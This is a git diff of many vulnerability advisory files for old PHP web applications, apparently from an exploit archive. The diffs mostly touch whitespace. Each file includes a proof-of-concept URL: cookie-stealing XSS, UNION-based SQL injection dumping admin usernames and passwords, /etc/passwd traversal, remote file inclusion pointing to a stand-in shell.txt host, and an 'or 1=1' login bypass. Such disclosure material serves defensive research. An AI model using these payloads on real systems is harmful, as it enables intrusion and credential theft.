b/platforms/php/webapps/31044.txt index 944751583..680df21ed 100755 --- a/platforms/php/webapps/31044.txt +++ b/platforms/php/webapps/31044.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Modern 1.3.2 and prior versions are reported vulnerable. Reports indicate that Modern 1.3.2 ships with singapore 0.10.1 by default. -http://www.example.com/[singapore_path]/default.php?gallery="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/[singapore_path]/default.php?gallery="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/31045.txt b/platforms/php/webapps/31045.txt index 70ea49a2e..c42fb471a 100755 --- a/platforms/php/webapps/31045.txt +++ b/platforms/php/webapps/31045.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin This issue affects Small Axe Weblog 0.3.1; other versions may also be vulnerable. -http://www.example.com/inc/linkbar.php?ffile=http://www.example2.com \ No newline at end of file +http://www.example.com/inc/linkbar.php?ffile=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/31048.txt b/platforms/php/webapps/31048.txt index 0fcb4ce4c..abc3ef0d6 100755 --- a/platforms/php/webapps/31048.txt +++ b/platforms/php/webapps/31048.txt @@ -8,4 +8,4 @@ These issues affect versions prior to PacerCMS 0.6.1. NOTE: To exploit these issues, the attacker may require 'staff member' access. -http://www.example.com/pacercms/siteadmin/article-edit.php?id=[SQL] \ No newline at end of file +http://www.example.com/pacercms/siteadmin/article-edit.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/31049.txt b/platforms/php/webapps/31049.txt index a9a913478..3e270ac2c 100755 --- a/platforms/php/webapps/31049.txt +++ b/platforms/php/webapps/31049.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects DeluxeBB 1.1; other versions may also be vulnerable. -http://www.example.com/path/templates/default/admincp/attachments_header.php?lang_listofmatches=<script>alert("XSS")</script> \ No newline at end of file +http://www.example.com/path/templates/default/admincp/attachments_header.php?lang_listofmatches=<script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/php/webapps/31060.txt b/platforms/php/webapps/31060.txt index 87a2303cd..49bf805d9 100755 --- a/platforms/php/webapps/31060.txt +++ b/platforms/php/webapps/31060.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Drake CMS 0.4.9 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?option="'><IFRAME%20SRC="javascript:alert('XSS');"></IFRAME>&Itemid=12 \ No newline at end of file +http://www.example.com/[path]/index.php?option="'><IFRAME%20SRC="javascript:alert('XSS');"></IFRAME>&Itemid=12 \ No newline at end of file diff --git a/platforms/php/webapps/31062.txt b/platforms/php/webapps/31062.txt index 53de1ada8..63cd797f2 100755 --- a/platforms/php/webapps/31062.txt +++ b/platforms/php/webapps/31062.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect trixbox 2.4.2.0; earlier versions may also be vulnerable. -http://www.example.com/maint/index.php?"><script>alert('xss')</script> \ No newline at end of file +http://www.example.com/maint/index.php?"><script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/31066.txt b/platforms/php/webapps/31066.txt index ff276c487..646122ba8 100755 --- a/platforms/php/webapps/31066.txt +++ b/platforms/php/webapps/31066.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MOStlyCE 2.4 included with Mambo 4.6.3 is vulnerable; other versions may also be affected. -http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script>alert(document.cookie)</script> \ No newline at end of file +http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/31067.txt b/platforms/php/webapps/31067.txt index 5e516cc3c..786d917b8 100755 --- a/platforms/php/webapps/31067.txt +++ b/platforms/php/webapps/31067.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to ClanSphere 2007.4.4 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/install.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00 \ No newline at end of file +http://www.example.com/install.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31068.txt b/platforms/php/webapps/31068.txt index 799254a7d..1227facd9 100755 --- a/platforms/php/webapps/31068.txt +++ b/platforms/php/webapps/31068.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to upload and execute arbitrary sc MOStlyCE 2.4 included with Mambo 4.6.3 is vulnerable; other versions may also be affected. -http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload&file=a&file[NewFile][name]=abc.gif&file[NewFile][tmp_name]=C:/path/to/MamboV4.6.2/configuration.php&file[NewFile][size]=1&CurrentFolder= \ No newline at end of file +http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload&file=a&file[NewFile][name]=abc.gif&file[NewFile][tmp_name]=C:/path/to/MamboV4.6.2/configuration.php&file[NewFile][size]=1&CurrentFolder= \ No newline at end of file diff --git a/platforms/php/webapps/31069.txt b/platforms/php/webapps/31069.txt index 6833dbc3f..e4c5edd40 100755 --- a/platforms/php/webapps/31069.txt +++ b/platforms/php/webapps/31069.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow eTicket 1.5.6-RC4 is vulnerable; prior versions may also be affected. -http://www.example.com/index.php/"><script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/index.php/"><script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/31074.txt b/platforms/php/webapps/31074.txt index 5e32b1975..a0db41d6a 100755 --- a/platforms/php/webapps/31074.txt +++ b/platforms/php/webapps/31074.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects Nucleus CMS 3.31; other versions may also be vulnerable. -http://www.example.com/[installdir]/action.php/"><script>alert('DSecRG XSS')</script> \ No newline at end of file +http://www.example.com/[installdir]/action.php/"><script>alert('DSecRG XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/31075.txt b/platforms/php/webapps/31075.txt index 1707c5134..0df2d14f8 100755 --- a/platforms/php/webapps/31075.txt +++ b/platforms/php/webapps/31075.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AmpJuke 0.7.0 is vulnerable; other versions may also be affected. -http://www.example.com/scriptpath/index.php?what=search&start=0&dir=ASC&sorttbl=track&order_by=track.name&limit=[Xss] \ No newline at end of file +http://www.example.com/scriptpath/index.php?what=search&start=0&dir=ASC&sorttbl=track&order_by=track.name&limit=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/31077.txt b/platforms/php/webapps/31077.txt index 605c7878f..6bf75bffc 100755 --- a/platforms/php/webapps/31077.txt +++ b/platforms/php/webapps/31077.txt @@ -4,4 +4,4 @@ The 'com_buslicense' component for Mambo/Joomla is prone to an SQL-injection vul Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31079.txt b/platforms/php/webapps/31079.txt index 30d1090d4..d3652d99e 100755 --- a/platforms/php/webapps/31079.txt +++ b/platforms/php/webapps/31079.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow webSPELL 4.01.02 is vulnerable; other versions may also be affected. -http://www.example.com/path/index.php?site=whoisonline&sort=">[xss code] \ No newline at end of file +http://www.example.com/path/index.php?site=whoisonline&sort=">[xss code] \ No newline at end of file diff --git a/platforms/php/webapps/3108.pl b/platforms/php/webapps/3108.pl index 8df8074c8..2fe935e05 100755 --- a/platforms/php/webapps/3108.pl +++ b/platforms/php/webapps/3108.pl @@ -8,7 +8,7 @@ # # # Class: Remote File Include Vulnerability # # # -# exemplary Exp: http://www.server/template.php?baseAxiomPath= # +# exemplary Exp: http://www.site.com/template.php?baseAxiomPath= # # # # Remote: Yes # # # diff --git a/platforms/php/webapps/31080.txt b/platforms/php/webapps/31080.txt index 8ed58b2ae..6cf623ea2 100755 --- a/platforms/php/webapps/31080.txt +++ b/platforms/php/webapps/31080.txt @@ -4,4 +4,4 @@ YeSiL KoRiDoR Ziyaretçi Defteri is prone to an SQL-injection vulnerability be Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/defter/index.php?sayfa=[sqL inj. code here ..] \ No newline at end of file +http://www.example.com/defter/index.php?sayfa=[sqL inj. code here ..] \ No newline at end of file diff --git a/platforms/php/webapps/31083.txt b/platforms/php/webapps/31083.txt index 68632c345..f1b6d405b 100755 --- a/platforms/php/webapps/31083.txt +++ b/platforms/php/webapps/31083.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to This issue affects Nilson's Blogger 0.11; other versions may also be vulnerable. -http://www.example.com/comments.php?thispost=../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/comments.php?thispost=../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/31084.txt b/platforms/php/webapps/31084.txt index 2c3e8d04f..62b2d79d9 100755 --- a/platforms/php/webapps/31084.txt +++ b/platforms/php/webapps/31084.txt @@ -4,4 +4,4 @@ Archimede Net 2000 is prone to an SQL-injection vulnerability because it fails t Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/telefonia/E-Guest_show.php?display=(sql) \ No newline at end of file +http://www.example.com/telefonia/E-Guest_show.php?display=(sql) \ No newline at end of file diff --git a/platforms/php/webapps/31091.txt b/platforms/php/webapps/31091.txt index dbb514003..4ff982362 100755 --- a/platforms/php/webapps/31091.txt +++ b/platforms/php/webapps/31091.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Domain Trader 2.0 is vulnerable; prior versions may also be affected. -http://www.example.com/script/catalog.php?mode=viewcategory&id=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/script/catalog.php?mode=viewcategory&id=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/31093.txt b/platforms/php/webapps/31093.txt index fcefe8b85..9cd26576c 100755 --- a/platforms/php/webapps/31093.txt +++ b/platforms/php/webapps/31093.txt @@ -4,4 +4,4 @@ iTechClassifieds is prone to an input-validation vulnerability that may be explo A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/ViewCat.php?CatID=[SQL] \ No newline at end of file +http://www.example.com/ViewCat.php?CatID=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/31096.txt b/platforms/php/webapps/31096.txt index af7aaeb88..484cb4df8 100755 --- a/platforms/php/webapps/31096.txt +++ b/platforms/php/webapps/31096.txt @@ -4,4 +4,4 @@ The ShiftThis Newsletter plugin for WordPress is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users \ No newline at end of file +http://www.example.com/wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users \ No newline at end of file diff --git a/platforms/php/webapps/31097.txt b/platforms/php/webapps/31097.txt index 8c020b09f..b1ce0c71a 100755 --- a/platforms/php/webapps/31097.txt +++ b/platforms/php/webapps/31097.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CruxCMS 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?search="><script>alert(/vuln/)</script> \ No newline at end of file +http://www.example.com/search.php?search="><script>alert(/vuln/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/31098.txt b/platforms/php/webapps/31098.txt index a28158178..d81ca1c8f 100755 --- a/platforms/php/webapps/31098.txt +++ b/platforms/php/webapps/31098.txt @@ -14,4 +14,4 @@ username: admin' or 1=1/* password: something -will bypass the authentication process. \ No newline at end of file +will bypass the authentication process. \ No newline at end of file diff --git a/platforms/php/webapps/31101.txt b/platforms/php/webapps/31101.txt index 0594dcbde..9805bb139 100755 --- a/platforms/php/webapps/31101.txt +++ b/platforms/php/webapps/31101.txt @@ -4,4 +4,4 @@ HispaH Youtube Clone is prone to a cross-site scripting vulnerability because th An attacker may leverage this issue to execute arbitrary script code in the context of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/youtube/siteadmin/editor_files/includes/load_message.php?lang[please_wait]=[XSS] \ No newline at end of file +http://www.example.com/youtube/siteadmin/editor_files/includes/load_message.php?lang[please_wait]=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31110.txt b/platforms/php/webapps/31110.txt index 0007b36a2..282c4c613 100755 --- a/platforms/php/webapps/31110.txt +++ b/platforms/php/webapps/31110.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. -http://www.example.com/path/system/login.php?site_path=http://www.example2.com \ No newline at end of file +http://www.example.com/path/system/login.php?site_path=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/31111.txt b/platforms/php/webapps/31111.txt index 3b5598511..6d6e3abf3 100755 --- a/platforms/php/webapps/31111.txt +++ b/platforms/php/webapps/31111.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to access potentially sensitive in These issues affect Download Management 1.00; other versions may also be vulnerable. http://example.com/infusions/download_management/infusion.php?settings[locale]=LFI%00 -http://example.com/infusions/download_management/download_management.php?settings[locale]=LFI%00 \ No newline at end of file +http://example.com/infusions/download_management/download_management.php?settings[locale]=LFI%00 \ No newline at end of file diff --git a/platforms/php/webapps/31112.txt b/platforms/php/webapps/31112.txt index d1f535704..001079122 100755 --- a/platforms/php/webapps/31112.txt +++ b/platforms/php/webapps/31112.txt @@ -12,4 +12,4 @@ E-xoops 1.0.8 (and earlier) with DevTracker v0.20 Other versions may also be vulnerable. http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priority&direction=ASCquot;><script>alert()</script> -http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priorityquot;><script>alert()</script>&direction=ASC \ No newline at end of file +http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priorityquot;><script>alert()</script>&direction=ASC \ No newline at end of file diff --git a/platforms/php/webapps/31115.txt b/platforms/php/webapps/31115.txt index 5d5358e45..77ce82058 100755 --- a/platforms/php/webapps/31115.txt +++ b/platforms/php/webapps/31115.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MyNews 1.6.4 and prior versions are vulnerable. -http://www.example.com/index.php?hash="><iframe src=http://www.example2.com/ height=500px width=500px></iframe><!--&do=admin http://www.example.com/index.php?hash="><script>alert(1337);</script><!--&do=admin \ No newline at end of file +http://www.example.com/index.php?hash="><iframe src=http://www.example2.com/ height=500px width=500px></iframe><!--&do=admin http://www.example.com/index.php?hash="><script>alert(1337);</script><!--&do=admin \ No newline at end of file diff --git a/platforms/php/webapps/31116.txt b/platforms/php/webapps/31116.txt index bb4642a1e..9c085ebf2 100755 --- a/platforms/php/webapps/31116.txt +++ b/platforms/php/webapps/31116.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Pagetool 1.0.7 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?name=pagetool_search&search_term=[XSS] \ No newline at end of file +http://www.example.com/[path]/index.php?name=pagetool_search&search_term=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31120.txt b/platforms/php/webapps/31120.txt index bf7785979..c5e8c13aa 100755 --- a/platforms/php/webapps/31120.txt +++ b/platforms/php/webapps/31120.txt @@ -13,4 +13,4 @@ SRC="javascript:alert(&#039;DSecRG XSS&#039;) http://www.example.com/[installdir]/index.php?searched=modx&highlight="><IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;) http://www.example.com/[installdir]/manager/index.php?a=&#039;<img -src="javascript:alert(&#039;DSecRG XSS&#039;)"> \ No newline at end of file +src="javascript:alert(&#039;DSecRG XSS&#039;)"> \ No newline at end of file diff --git a/platforms/php/webapps/31121.txt b/platforms/php/webapps/31121.txt index b8fbcd28d..6f9358c5e 100755 --- a/platforms/php/webapps/31121.txt +++ b/platforms/php/webapps/31121.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_sermon' component is prone to an SQL-injection vulner Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31123.txt b/platforms/php/webapps/31123.txt index 0f75fe7c9..bca608b87 100755 --- a/platforms/php/webapps/31123.txt +++ b/platforms/php/webapps/31123.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to access potentially sensitive in PowerNews 2.5.6 is vulnerable; other versions may also be affected. -http://example.com/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://example.com/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31124.txt b/platforms/php/webapps/31124.txt index 9125200be..9436c043a 100755 --- a/platforms/php/webapps/31124.txt +++ b/platforms/php/webapps/31124.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Calimero.CMS 3.3 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?class=calimero_webpage&id="><script>alert(/vulnxss/)</script> \ No newline at end of file +http://www.example.com/index.php?class=calimero_webpage&id="><script>alert(/vulnxss/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/31125.txt b/platforms/php/webapps/31125.txt index 74f53712c..45970ea59 100755 --- a/platforms/php/webapps/31125.txt +++ b/platforms/php/webapps/31125.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin Joovili 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/members_help.php?hlp=http://www.example2.com/shell.txt? \ No newline at end of file +http://www.example.com/members_help.php?hlp=http://www.example2.com/shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31126.txt b/platforms/php/webapps/31126.txt index 47be57c7d..91af9b62c 100755 --- a/platforms/php/webapps/31126.txt +++ b/platforms/php/webapps/31126.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to steal cookie-based authenticati This issue affects Serendipity Freetag-plugin 2.95; prior versions may also be affected. -http://www.example.com/plugin/tag/%3Cdiv%20style=[XSS] \ No newline at end of file +http://www.example.com/plugin/tag/%3Cdiv%20style=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31129.txt b/platforms/php/webapps/31129.txt index 5a7a46f01..72e5e1cc0 100755 --- a/platforms/php/webapps/31129.txt +++ b/platforms/php/webapps/31129.txt @@ -4,4 +4,4 @@ Managed Workplace Service Center is prone to an information-disclosure vulnerabi Attackers may exploit this issue to retrieve sensitive information that may aid in further attacks. -http://www.example.com/About/SC_About.htm \ No newline at end of file +http://www.example.com/About/SC_About.htm \ No newline at end of file diff --git a/platforms/php/webapps/3113.txt b/platforms/php/webapps/3113.txt index 58799dbf2..11e59abf0 100755 --- a/platforms/php/webapps/3113.txt +++ b/platforms/php/webapps/3113.txt @@ -11,6 +11,6 @@ file: routines/fieldValidation.php include($jssShopFileSystem."resources/includes/validations.php"); -exploit : server/routines/fieldValidation.php?jssShopFileSystem=[evilcode] +exploit : www.target.com/routines/fieldValidation.php?jssShopFileSystem=[evilcode] # milw0rm.com [2007-01-10] diff --git a/platforms/php/webapps/31131.txt b/platforms/php/webapps/31131.txt index 5efa68a0d..5b378cf32 100755 --- a/platforms/php/webapps/31131.txt +++ b/platforms/php/webapps/31131.txt @@ -8,4 +8,4 @@ These issues affect PKs Movie Database 3.0.3; other versions may also be affecte http://www.example.com/path/index.php?num=[SQL] http://www.example.com/path/index.php?category=[XSS] -http://www.example.com/path/index.php?num=9999999999&category=[XSS] \ No newline at end of file +http://www.example.com/path/index.php?num=9999999999&category=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/31134.txt b/platforms/php/webapps/31134.txt index 744890656..06e8b8236 100755 --- a/platforms/php/webapps/31134.txt +++ b/platforms/php/webapps/31134.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc VWar 1.5.0 is vulnerable; other versions may also be affected. -http://www.example.com/vwar/calendar.php?month=[SQL] \ No newline at end of file +http://www.example.com/vwar/calendar.php?month=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/31135.txt b/platforms/php/webapps/31135.txt index 4bf14a997..34910d3a2 100755 --- a/platforms/php/webapps/31135.txt +++ b/platforms/php/webapps/31135.txt @@ -5,4 +5,4 @@ Rapid-Recipe is prone to multiple SQL-injection vulnerabilities because it fails Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_rapidrecipe&page=showuser&user_id=-1+union+all+select+concat(username,0x3a,password)+from+jos_users+limit+0,20-- -http://www.example.com/index.php?option=com_rapidrecipe&page=viewcategorysrecipes&category_id=-1+union+all+select+concat(username,0x3a,password),2+from+jos_users+limit+0,20-- \ No newline at end of file +http://www.example.com/index.php?option=com_rapidrecipe&page=viewcategorysrecipes&category_id=-1+union+all+select+concat(username,0x3a,password),2+from+jos_users+limit+0,20-- \ No newline at end of file diff --git a/platforms/php/webapps/31137.txt b/platforms/php/webapps/31137.txt index 39d50290b..63f1456cf 100755 --- a/platforms/php/webapps/31137.txt +++ b/platforms/php/webapps/31137.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_comments' component is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1 \ No newline at end of file +http://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1 \ No newline at end of file diff --git a/platforms/php/webapps/31154.txt b/platforms/php/webapps/31154.txt index 96228078c..879b871b0 100755 --- a/platforms/php/webapps/31154.txt +++ b/platforms/php/webapps/31154.txt @@ -4,4 +4,4 @@ Counter Strike Portals is prone to an SQL-injection vulnerability because it fai Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?page=downloads&mode=details&id=-1/**/union/**/select/**/0,member_nick,111,member_pass,222,333,444,555,666/**/from/**/tbl_member/* \ No newline at end of file +http://www.example.com/index.php?page=downloads&mode=details&id=-1/**/union/**/select/**/0,member_nick,111,member_pass,222,333,444,555,666/**/from/**/tbl_member/* \ No newline at end of file diff --git a/platforms/php/webapps/31155.txt b/platforms/php/webapps/31155.txt index 2ab5fd3ff..cf2cd1ccf 100755 --- a/platforms/php/webapps/31155.txt +++ b/platforms/php/webapps/31155.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_iomezun' component is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_iomezun&task=edit&hidemainmenu=S@BUN&id=-1/**/union/**/select/**/null,null,null,username,password,null,null,null,null,null,null/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_iomezun&task=edit&hidemainmenu=S@BUN&id=-1/**/union/**/select/**/null,null,null,username,password,null,null,null,null,null,null/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31162.txt b/platforms/php/webapps/31162.txt index f94c3a9ee..cbaf5d619 100755 --- a/platforms/php/webapps/31162.txt +++ b/platforms/php/webapps/31162.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/27755/info Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://ww.example.com/index.php?option=com_mezun&task=edit&hidemainmenu=S@BUN&id=-9999999/**/union/**/select/**/concat(username,0x3a,password),username,password,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/* \ No newline at end of file +http://ww.example.com/index.php?option=com_mezun&task=edit&hidemainmenu=S@BUN&id=-9999999/**/union/**/select/**/concat(username,0x3a,password),username,password,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31164.txt b/platforms/php/webapps/31164.txt index dca76d5da..97708e440 100755 --- a/platforms/php/webapps/31164.txt +++ b/platforms/php/webapps/31164.txt @@ -4,4 +4,4 @@ The Chess Club 'com_pcchess' component for Joomla! and Mambo is prone to an SQL- Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31192.txt b/platforms/php/webapps/31192.txt index 2cf8cd132..4ca28c3c3 100755 --- a/platforms/php/webapps/31192.txt +++ b/platforms/php/webapps/31192.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_model' component is prone to an SQL-injection vulnera Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_model&Itemid=0&task=pipa&act=2&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_model&Itemid=0&task=pipa&act=2&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31193.txt b/platforms/php/webapps/31193.txt index b4b304c8b..1798728df 100755 --- a/platforms/php/webapps/31193.txt +++ b/platforms/php/webapps/31193.txt @@ -5,4 +5,4 @@ The 'com_omnirealestate' component for Joomla! and Mambo is prone to an SQL-inje Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_omnirealestate&Itemid=0&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&resu -lts=S@BUN \ No newline at end of file +lts=S@BUN \ No newline at end of file diff --git a/platforms/php/webapps/31201.txt b/platforms/php/webapps/31201.txt index a933464ef..9d9a5c02b 100755 --- a/platforms/php/webapps/31201.txt +++ b/platforms/php/webapps/31201.txt @@ -5,4 +5,4 @@ artmedic webdesign weblog is prone to multiple local file-include vulnerabilitie Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application. http://www.example.com/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00 -http://www.example.com/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31202.txt b/platforms/php/webapps/31202.txt index 378bb1fb9..9c791d8c4 100755 --- a/platforms/php/webapps/31202.txt +++ b/platforms/php/webapps/31202.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to This issue affects PlutoStatus Locator 1.0pre alpha; other versions may also be affected. -http://www.example.com/locator/index.php?page=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/locator/index.php?page=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31206.txt b/platforms/php/webapps/31206.txt index f519b1e5b..40fad897d 100755 --- a/platforms/php/webapps/31206.txt +++ b/platforms/php/webapps/31206.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_smslist' component is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in 